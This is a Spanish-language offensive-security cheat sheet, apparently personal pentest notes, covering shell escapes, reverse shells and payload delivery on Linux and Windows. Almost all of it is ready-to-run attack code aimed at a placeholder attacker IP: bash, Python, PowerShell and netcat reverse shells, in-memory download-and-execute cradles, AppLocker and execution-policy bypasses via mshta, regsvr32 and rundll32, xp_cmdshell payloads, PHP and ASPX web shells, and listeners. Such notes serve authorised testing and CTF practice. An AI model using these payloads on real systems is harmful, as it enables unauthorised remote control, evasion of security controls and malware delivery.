Shell Spawning & Reverse Shells
Linux — Shell local
sh / bash
/bin/sh -i
/bin/bash -i
bash# Con -p se preservan los privilegios efectivos (util si el binario tiene SUID)
/bin/bash -pPython
python3 -c 'import os; os.system("/bin/sh")'
python -c 'import os; os.system("/bin/sh")'
# Con PTY asignada, la shell resultante es mas estable
python3 -c 'import pty; pty.spawn("/bin/bash")'Perl
perl -e 'exec "/bin/sh";'Ruby
ruby -e 'exec "/bin/sh"'Lua
lua -e 'os.execute("/bin/sh")'
lua5.1 -e 'os.execute("/bin/sh")'AWK
awk 'BEGIN {system("/bin/sh")}'Find
find permite ejecutar comandos por cada resultado encontrado con -exec. Si el binario tiene SUID o se ejecuta en un contexto privilegiado, la shell heredara esos privilegios.
find . -exec /bin/sh \; -quit
find / -name .bashrc -exec /bin/bash \;VIM / Vi
vim -c ':!/bin/sh'
vi -c ':!/bin/sh'Desde dentro del editor:
:set shell=/bin/bash
:shell:!/bin/bashNano
Desde dentro de nano, Ctrl+R seguido de Ctrl+X abre un prompt de ejecucion de comandos:
^R^X
reset; sh 1>&0 2>&0More / Less / Man
Cuando se ejecuta un paginador como more o less con ciertos permisos (por ejemplo via sudo), es posible escapar a una shell ejecutando comandos internos:
!/bin/shTambien se puede pulsar v para abrir $EDITOR (generalmente vim) y desde ahi spawnear una shell.
Nmap
Las versiones anteriores a 5.21 incluian un modo interactivo:
nmap --interactive
nmap> !shScript
script graba sesiones de terminal pero como efecto secundario asigna una PTY, lo que convierte una shell sin terminal en una funcional:
script /dev/null -c bash
script -q /dev/null /bin/bashSocat
Si socat esta disponible en el sistema, puede asignar el stdin directamente:
socat stdin exec:/bin/shBusybox
En contenedores minimos o sistemas con pocos binarios, busybox suele estar presente e incluye su propio interprete de shell:
busybox sh
busybox ashLinux — Reverse Shells
El atacante debe tener un listener activo antes de ejecutar cualquiera de estos payloads. Ver seccion Listeners del atacante.
bash — /dev/tcp
/dev/tcp es un pseudo-dispositivo de bash que permite abrir conexiones TCP sin ningun binario externo. No esta disponible en todos los shells (funciona en bash, no en sh ni dash).
bash -i >& /dev/tcp/IP/4444 0>&1Para contextos de RCE donde el comando se interpreta con comillas o caracteres especiales:
/bin/bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1'Variante UDP (util si el firewall permite salida UDP pero no TCP):
sh -i >& /dev/udp/IP/4444 0>&1bash — mkfifo (named pipe)
Crea un pipe con nombre, lo usa para redirigir stdin y stdout hacia netcat. Funciona en shells que no soportan /dev/tcp y en sistemas donde bash no esta disponible.
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc IP 4444 > /tmp/fSin netcat, usando /dev/tcp:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 >/dev/tcp/IP/4444 </tmp/fsh pura — file descriptor
Para shells muy restringidas que no son bash:
0<&196; exec 196<>/dev/tcp/IP/4444; sh <&196 >&196 2>&196Python
python3 -c '
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
'Con PTY asignada desde la propia reverse shell (la shell ya llega interactiva sin necesitar upgrade):
python3 -c '
import socket,os,pty
s=socket.socket()
s.connect(("IP",4444))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/bash")
'Perl
perl -e 'use Socket;$i="IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Ruby
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("IP","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'PHP
php -r '$sock=fsockopen("IP",4444);$proc=proc_open("/bin/sh",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'Netcat
Con la flag -e (disponible en nc clasico, no en la variante OpenBSD):
nc -e /bin/sh IP 4444
nc.traditional -e /bin/bash IP 4444Si la version de nc no tiene -e, se puede usar doble conexion:
nc IP 4444 | /bin/bash | nc IP 4445Socat
Genera una reverse shell con PTY completa en un solo comando. Es la opcion mas comoda si socat esta disponible.
socat tcp-connect:IP:4444 exec:/bin/sh,pty,stderr,setsid,sigint,saneEl listener correspondiente en el atacante:
socat file:`tty`,raw,echo=0 tcp-listen:4444AWK
awk 'BEGIN{s="/inet/tcp/0/IP/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'Node.js
node -e '(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var c=new net.Socket();c.connect(4444,"IP",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)});})()'Linux — Sin curl/wget
Escenarios donde el sistema no tiene herramientas de descarga instaladas.
/dev/tcp — Ejecutar script en memoria
Descarga y ejecuta un script bash directamente sin escribir nada en disco. Solo funciona con HTTP en el puerto 80.
exec 3<>/dev/tcp/IP/80
printf 'GET /shell.sh HTTP/1.0\r\nHost: IP\r\n\r\n' >&3
bash <&3/dev/tcp — Descargar archivos de texto
Descarga el cuerpo de la respuesta HTTP descartando los headers. Util para scripts de texto.
exec 3<>/dev/tcp/IP/80
printf 'GET /file.sh HTTP/1.0\r\nHost: IP\r\n\r\n' >&3
while IFS= read -r line; do [[ "$line" == $'\r' ]] && break; done <&3
cat <&3 > /tmp/file.sh
exec 3>&-
chmod +x /tmp/file.sh/dev/tcp — Descargar binarios (pure bash)
La lectura de binarios en bash requiere manejo especial de bytes nulos. La siguiente funcion lo resuelve correctamente.
Fuente: pure-bash-bible — dylanaraps
download() {
IFS=/ read -r _ _ host query <<< "$1"
exec 3<"/dev/tcp/${host}/80"
printf 'GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n' "$query" "$host" >&3
# Descartar headers HTTP
while IFS= read -r line; do [[ "$line" == $'\r' ]] && break; done <&3
# Leer body manejando bytes nulos (necesario para binarios)
nul='\0'
while IFS= read -d '' -r line || { nul=""; [[ -n "$line" ]]; }; do
printf "%s%b" "$line" "$nul"
done <&3
exec 3>&-
}
# Uso
download http://IP/nc > /tmp/nc
chmod +x /tmp/nc
/tmp/nc IP 4444 -e /bin/shEsta funcion no soporta HTTPS. Para HTTPS se necesita un lenguaje de scripting.
Python — Descarga sin curl/wget
# Guardar en disco
python3 -c "import urllib.request; urllib.request.urlretrieve('http://IP/file', '/tmp/file')"
# HTTPS con certificado auto-firmado
python3 -c "
import urllib.request, ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
urllib.request.urlretrieve('https://IP/file', '/tmp/file', context=ctx)
"
# Descargar y ejecutar en memoria
python3 -c "import urllib.request; exec(urllib.request.urlopen('http://IP/script.py').read())"Perl — Descarga sin curl/wget
# Con LWP instalado
perl -e 'use LWP::Simple; getstore("http://IP/file", "/tmp/file");'
# Sin LWP — sockets puros
perl -e '
use Socket;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
connect(S, sockaddr_in(80, inet_aton("IP")));
print S "GET /file HTTP/1.0\r\nHost: IP\r\n\r\n";
open(F, ">", "/tmp/file");
while (<S>) { print F $_; }
close(F);
'Busybox — Descarga y shells en sistemas minimos
Busybox es un binario unico que incluye versiones reducidas de muchas utilidades Unix: wget, nc, sh, ash y mas. Es habitual encontrarlo en contenedores y sistemas embebidos.
# Descargar archivo
busybox wget http://IP/file -O /tmp/file
# Reverse shell con nc de busybox
busybox nc IP 4444 -e /bin/sh
busybox nc -e /bin/sh IP 4444
# Shell local
busybox sh
busybox ash
# Reverse shell solo con ash y /dev/tcp (sin nc)
busybox ash -c 'ash -i >& /dev/tcp/IP/4444 0>&1'Linux — Upgrade a TTY interactiva
Una reverse shell basica no tiene terminal asignada (no-TTY). Esto provoca que comandos como su, sudo, editores de texto o cualquier programa que use termios fallen o se comporten mal. El proceso de upgrade resuelve esto.
Python pty + stty
Es el metodo mas rapido y el que funciona en casi todos los sistemas.
En la shell de la victima:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Si no hay python3:
python -c 'import pty; pty.spawn("/bin/bash")'Suspender la shell con Ctrl+Z para volver al terminal del atacante. Luego:
stty raw -echo; fgDe vuelta en la shell de la victima, configurar el entorno:
export TERM=xterm-256color
export SHELL=bash
stty rows 38 columns 116Los valores de rows y columns deben coincidir con el tamano real del terminal del atacante. Para obtenerlos antes de suspender:
stty size # ejecutar en el atacante antes del Ctrl+ZScript — si no hay Python
script /dev/null -c bashEl resto del proceso es identico al de Python pty: Ctrl+Z, stty raw -echo; fg, export TERM, stty rows/cols.
Socat — TTY completa directamente
Si se puede subir o usar socat en la victima, este metodo da una TTY completamente interactiva sin ningun paso adicional.
En el atacante:
socat file:`tty`,raw,echo=0 tcp-listen:4444En la victima:
socat tcp-connect:IP:4444 exec:/bin/bash,pty,stderr,setsid,sigint,saneSi socat no esta en el sistema, se puede subir el binario estatico:
# En el atacante — servir el binario
python3 -m http.server 80
# En la victima — descargar y ejecutar
wget http://IP/socat -O /tmp/socat && chmod +x /tmp/socat
/tmp/socat tcp-connect:IP:4444 exec:/bin/bash,pty,stderr,setsid,sigint,saneWindows — Reverse Shells
PowerShell — TCP socket
One-liner completo. Establece una conexion TCP y envia/recibe comandos ejecutandolos con Invoke-Expression.
powershell -nop -ep bypass -c "$client=New-Object System.Net.Sockets.TCPClient('IP',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"PowerShell — Cradle en memoria
Descarga y ejecuta un script PowerShell directamente en RAM sin escribirlo en disco. Esto evita que el binario sea analizado por el antivirus en tiempo de escritura.
powershell -nop -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')"
powershell -nop -ep bypass -c "IEX (IWR http://IP/shell.ps1 -UseBasicParsing)"-UseBasicParsing es necesario en sistemas sin interfaz grafica porque evita la dependencia con el motor de Internet Explorer.
Para usar con Nishang Invoke-PowerShellTcp, anadir esta linea al final del script antes de servirlo:
Invoke-PowerShellTcp -Reverse -IPAddress IP -Port 4444PowerShell — Payload en Base64
Codificar el payload en Base64 en UTF-16LE (el formato que espera PowerShell) permite evitar problemas con caracteres especiales en argumentos y elude algunos sistemas de logging basicos.
En el atacante (Linux):
echo -n 'IEX (New-Object Net.WebClient).DownloadString("http://IP/shell.ps1")' | iconv -t UTF-16LE | base64 -w 0En la victima:
powershell -enc <BASE64_AQUI>PowerShell — Bypass de politica de ejecucion
La politica de ejecucion de PowerShell no es un control de seguridad real, es solo una preferencia de configuracion. Se puede obviar de varias formas:
powershell -ep bypass -c "..."
powershell -ExecutionPolicy Unrestricted -c "..."
powershell -ExecutionPolicy Bypass -File script.ps1
# Desde dentro de una sesion PowerShell
Set-ExecutionPolicy Bypass -Scope Process -Forcecmd.exe + nc.exe
Si nc.exe esta disponible en el sistema o se puede subir:
nc.exe -e cmd.exe IP 4444
nc.exe IP 4444 -e cmd.exePython (si esta instalado en Windows)
python -c "import socket,subprocess,os;s=socket.socket();s.connect(('IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['cmd.exe'])"Windows — Sin PowerShell o entorno restringido
Estos metodos son utiles cuando PowerShell esta bloqueado por politica, AppLocker, o cuando solo se tiene acceso a cmd.exe o a binarios nativos del sistema.
mshta
mshta.exe ejecuta aplicaciones HTML (HTA). Al ser un binario firmado por Microsoft, suele estar en la lista blanca de muchas politicas de restriccion de aplicaciones.
mshta http://IP/payload.htaEjemplo de payload.hta:
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -ep bypass -nop -c IEX (New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')", 0, True
</script>Ejecucion inline sin archivo externo:
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')"",0,True")wmic
wmic permite crear procesos de forma remota o local. Al ser una utilidad de gestion del sistema, a veces no esta sujeta a las mismas restricciones que PowerShell.
wmic process call create "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')"
wmic process call create "cmd.exe /c nc.exe IP 4444 -e cmd.exe"regsvr32 — Squiblydoo
regsvr32 puede cargar y ejecutar un scriptlet COM desde una URL remota. Es un bypass clasico de AppLocker porque regsvr32.exe es un binario de confianza del sistema.
regsvr32 /u /n /s /i:http://IP/payload.sct scrobj.dllEjemplo de payload.sct:
<?XML version="1.0"?>
<scriptlet>
<registration progid="test" classid="{AAAA0000-0000-0000-0000-000000000000}">
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')"
</script>
</registration>
</scriptlet>rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://IP/shell.ps1')",0,True);cscript / wscript — VBScript puro
Cuando no hay acceso a PowerShell pero si a cscript o wscript, se puede ejecutar un script VBScript que descargue y ejecute el payload.
shell.vbs:
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd /c certutil -urlcache -f http://IP/nc.exe %TEMP%\nc.exe && %TEMP%\nc.exe IP 4444 -e cmd.exe", 0, Truecscript //nologo shell.vbs
wscript shell.vbsEjecutar desde UNC path — Sin escribir en disco
Si el atacante tiene un servidor SMB activo, se puede ejecutar el binario directamente desde la ruta UNC sin que aterrice en el disco de la victima. Esto evita deteccion por escritura en disco.
\\IP\share\shell.exe
\\IP\share\nc.exe IP 4444 -e cmd.exepowershell -ep bypass -f \\IP\share\shell.ps1Windows — Desde contextos específicos
SQL Server — xp_cmdshell
-- PowerShell en memoria, sin tocar disco
EXEC xp_cmdshell 'powershell -ep bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString(''http://IP/shell.ps1'')"';
-- Ejecutar binario desde SMB sin copiarlo al disco
EXEC xp_cmdshell '\\IP\share\nc.exe IP 4444 -e cmd.exe';
-- Descargar y ejecutar
EXEC xp_cmdshell 'powershell -c "(New-Object Net.WebClient).DownloadFile(''http://IP/nc.exe'',''C:\Windows\Temp\nc.exe'')"';
EXEC xp_cmdshell 'C:\Windows\Temp\nc.exe IP 4444 -e cmd.exe';Las comillas simples dentro de xp_cmdshell deben escaparse duplicandolas (''). Cada par '' se convierte en una sola comilla ' que llega a PowerShell.
Si xp_cmdshell esta deshabilitado pero OLE Automation esta disponible:
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
DECLARE @OLE INT;
DECLARE @URL VARCHAR(255) = 'http://IP/nc.exe';
DECLARE @Path VARCHAR(255) = 'C:\Windows\Temp\nc.exe';
EXEC sp_OACreate 'MSXML2.XMLHTTP', @OLE OUT;
EXEC sp_OAMethod @OLE, 'open', NULL, 'GET', @URL, false;
EXEC sp_OAMethod @OLE, 'send';
EXEC sp_OADestroy @OLE;Web shell — PHP
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php $proc = proc_open($_GET['cmd'], [0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]], $pipes); echo stream_get_contents($pipes[1]); ?>Invocar reverse shell desde la web shell:
http://victim/shell.php?cmd=powershell+-ep+bypass+-c+"IEX+(New-Object+Net.WebClient).DownloadString('http://IP/shell.ps1')"
# Via UNC, sin tocar disco
http://victim/shell.php?cmd=\\IP\share\shell.exeWeb shell — ASPX
<%@ Page Language="C#" %>
<%
var cmd = Request.QueryString["cmd"];
var proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c " + cmd;
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.Start();
Response.Write(proc.StandardOutput.ReadToEnd());
%>AppLocker — Rutas habitualmente permitidas
AppLocker suele bloquear la ejecucion desde directorios de usuario pero permite rutas del sistema. Si se puede escribir en alguna de estas, el binario puede ejecutarse sin restriccion:
C:\Windows\Temp\
C:\Windows\System32\
C:\Windows\SysWOW64\
C:\ProgramData\Para ver las reglas activas de AppLocker:
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollectionsListeners del atacante
Netcat
nc -lvnp 4444
rlwrap nc -lvnp 4444 # con historial de teclado y flechas, mas comodo para shells WindowsNcat
ncat -lvnp 4444
ncat --pty -lvnp 4444 # asigna PTY directamente, util para shells Windows interactivas
ncat -lvnp 4444 --sslSocat — TTY completa
Da una TTY completamente interactiva desde el primer momento. Ideal cuando se usa el payload socat en la victima.
socat file:`tty`,raw,echo=0 tcp-listen:4444Metasploit — multi/handler
Util cuando el payload es un binario generado con msfvenom o cuando se necesita manejar multiples sesiones simultaneas.
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/shell_reverse_tcp; set LHOST tun0; set LPORT 4444; set ExitOnSession false; exploit -j"Referencia rapida
Shell basica Linux → rlwrap nc -lvnp 4444
TTY completa Linux → socat file:`tty`,raw,echo=0 tcp-listen:4444
Shell Windows basica → rlwrap nc -lvnp 4444
Shell Windows con PTY → ncat --pty -lvnp 4444
Multiples sesiones → Metasploit multi/handler